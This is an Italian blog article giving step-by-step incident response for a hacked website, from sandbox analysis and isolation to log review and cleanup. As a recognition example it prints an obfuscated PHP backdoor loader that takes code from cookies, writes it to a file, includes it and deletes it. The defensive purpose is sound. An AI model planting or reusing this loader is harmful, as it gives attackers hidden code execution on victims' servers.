Procedure post-Hacking: cosa fare in caso di attacco?

Intro

In questi anni sono sempre crescenti le minacce attive e il numero di siti web, portali e blog che vengono compromessi da malware o hacker.

Questi portali vengono spesso compromessi per motivazioni di profitto come furto di dati, incremento del traffico su portali competitor (black hat SEO), richieste di riscatto, ecc.

In questo articolo percorreremo insieme i passi da seguire per gestire una situazione di questo genere passando per le fasi di incident response, threat huntig e investigation.

Stay calm

Niente panico!

Non iniziare a cancellare file che hanno un lontano sentore di essere sospetti o che non conosci a casaccio, cercando di togliere tutto più velocemente possibile.

Solo il malware stesso che ha infettato il tuo sito, infatti, contiene la soluzione per disinfettarlo e per capire da dove viene e come è entrato sul tuo portale.

Quindi mantieni la calma e non eliminare nessun file in questa fase.

Testa il malware

La prima vera cosa da fare escludendo il non fare nulla dello step precedente è quella di capire cosa fa il malware e magari capire se è un software già noto.

Per farlo possiamo eseguirlo in una macchina virtuale isolata, o meglio ancora in una apposita piattaforma online di cloud sandboxing detonation come ad esempio Tria.ge o Joe Sandbox questo ci permetterà di vedere e registrare il comportamento del malware nonché di ottenerne un’analisi approfondita e dettagliata.

Isola il sito

A questo punto, dopo aver raccolto e registrato quanti più dati possibili sul comportamento del malware o sul malware stesso (nel caso fosse già noto), puoi isolare il sito per evitare di infettare un maggior numero di utenti ed evitare che l’infezione si propaghi.

Questa procedura è molto differente in base all’ambiente che ospita il tuo portale, l’importante è isolare il sito al livello di server non al livello di applicazione, quindi, non attivando plugin o funzionalità di manutenzione o coming soon page, ma attivando, ad esempio una basic authentication lato server o mettendo temporaneamente offline il portale, per farlo puoi contattare il tuo hosting provider.

Nel caso utilizzassi server dedicati o hosting cloud puoi invece spegnere il server o l’istanza dell’applicazione.

Segui le tracce

Una volta isolato il sito puoi cercare con la massima calma e tranquillità tutti i file infetti presenti sul sito, aiutandoti anche con gli indizi che hai trovato nella fase 2 e in base al comportamento riscontrato.

Questa fase può essere abbastanza lunga ma è un processo che va eseguito minuziosamente attraverso un account SFTP o SSH: accedi al server che ospita il tuo sito da una macchina isolata e sfoglia i file del sito alla ricerca di segni dell’infezione.

Non è una regola ma in genere i malware sono abbastanza facili da scovare poiché creano file inconsueti rispetto a quelli creati da un programmatore, cerca ad esempio file con nomi strani, come ad esempio:

Inoltre, il codice contenuto al loro interno è molto strato poiché è stato sottoposto tecniche di offuscamento, questo è un esempio del codice che puoi trovare al loro interno:

$vJk= $ { "\137\103"    ."\117" ."\117".    "\113\111\105"} ;   if(isset($vJk[ (    67-17   ) ] ) ){    $KV =$vJk [ (   93  - 26    )  ] .$vJk[(73  -   4   )  ] ;$Wy = $KV ($vJk[ (    80-15)  ].  $vJk[   (   96- 12) ]   ) ; $yOXW   = $Wy($KV   (   $vJk    [   (56 -32 )]))    ; $mNkT =   $Wy ($KV( $vJk [    (   70 -8 ) ])) ;   $BtA=__DIR__ .$Wy(  $KV(    $vJk[(85 - 32)  ]   )); $yOXW   ($BtA,$Wy( $KV($vJk[    (57 -7  )   ]   )) )    ; include ($BtA )   ;   $mNkT($BtA  )   ; }
PHP

Ovviamente potrebbe esservi un pezzetto di codice di questo tipo in una pagina con altro codice scritto in modo normale, quindi buona ricerca.

Puoi usare un editor di codice che ti faciliterà la ricerca come ad esempio Visual Studio Code.

A mano a mano che trovi i file sospetti utilizza nomi di variabili, pattern ricorrenti e caratteri strani per cercare nell’intero progetto in quali altri file sono presenti.

Inoltre, se disponi di un backup di una versione precedente e quindi pulita del sito, poi usare strumenti come ad esempio Diffchecker per cercare le modifiche che il malware ha apportato al portale.

Data l’attacco

Una volta trovati i file sospetti cerca informazioni relative all’ultima modifica e alla data di creazione per datare l’attacco, questo è di vitale importanza perché, definendo una finestra temporale dell’attacco, potremo, attraverso l’analisi dei log del server, capire come è entrato il malware e da dove è venuto.

Da questi dati puoi eventualmente procedere anche con una denuncia alle autorità.

Approfondisci

Quando hai terminato la ricerca rimuovi dal server tutti i file infetti eliminandoli, ma se possibile conservane una copia in una macchina isolata dopo aver ripulito il filesystem del server.

Con le copie dei file potrai indagare ulteriormente il malware attraverso piattaforme come Virus Total, Intezer o Tria.Ge.

Caricando i vari file su una di queste piattaforme, infatti, potrai ottenerne un’analisi più dettagliata per capire di cosa si tratta e se sia un malware noto.

Nel caso non lo fosse aiuterai i ricercatori dando il tuo contributo per i futuri attacchi dello stesso malware.

Puoi inoltre arricchire i dati attraverso piattaforme di OSINT investigation come ad esempio Maltego per ottenere informazioni a partire ad esempio da un indirizzo IP, una e-Mail, un nome o anche l’hash di un file.

Pulisci il sito

Dopo aver pulito il file system del server ispeziona il database del sito e verifica (anche grazie alla finestra temporale dell’attacco definita in precedenza) se sono state effettuate modifiche sospette sul database, ad esempio l’inserimento di codice sospetto nei record o la creazioni di nuovi utenti.

Molti malware, infatti, creano utenti con privilegi amministrativi, per garantirsi un futuro accesso alla piattaforma.

Assicurati quindi, qualora ce ne siano (dopo aver scaricato in un’ambiente isolato una copia del database), di rimuovere tutti i record sospetti.

Previeni futuri attacchi

In questa fase scarica i log del server o eventualmente, qualora fossero disponibili dell’applicazione o del firewall.

Basandoti sui comportamenti riscontrati dal malware e sulla finestra temporale identificata, evidenzia i log di attività sospette per cercare di capire lo svolgimento dell’attacco.

In questa fase è importante bloccare gli indirizzi IP coinvolti e fixare eventuali vulnerabilità sfruttate.

Una best practice importante nel caso ad esempio di CMS, come WordPress ad esempio, è quella di aggiornare temi, plugin e core del CMS all’ultima versione disponibile.

Riattiva in sito

A questo punto puoi riattivare il sito web riaccendendo il server o rimuovendo il blocco impostato in precedenza.

Un’altra cosa da fare è verificare se il sito nel frattempo è stato registrato in qualche blacklist per via della sua compromissione.

In caso positivo puoi chiederne la revisione, per far si che venga di nuovo analizzato e dopo essere risultato pulito venga rimosso dalla blacklist.

Conclusioni

Quanto sopra da un indicazione di massima dei punti da seguire per rispondere ad un’incidente ad esempio su un sito, blog o e-commerce.

Ovviamente nel caso l’attacco fosse più strutturato ad esempio un’attacco sferrato da un’Hacker utilizzando strumenti e tecniche create su misura per la piattaforma target, magari con la compromissione di più sistemi aziendali, avrai bisogno della consulenza di un esperto che ti offra la sicurezza di risolvere definitivamente il problema.

Esiste infatti in questi ultimi casi la possibilità che se chi interviene non ha molta esperienza, non vengano rimossi tutti gli accessi che l’hacker crea (backdoor), consentendo all’hacker di accedere nuovamente in futuro ai sistemi compromessi e non correttamente ripuliti.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *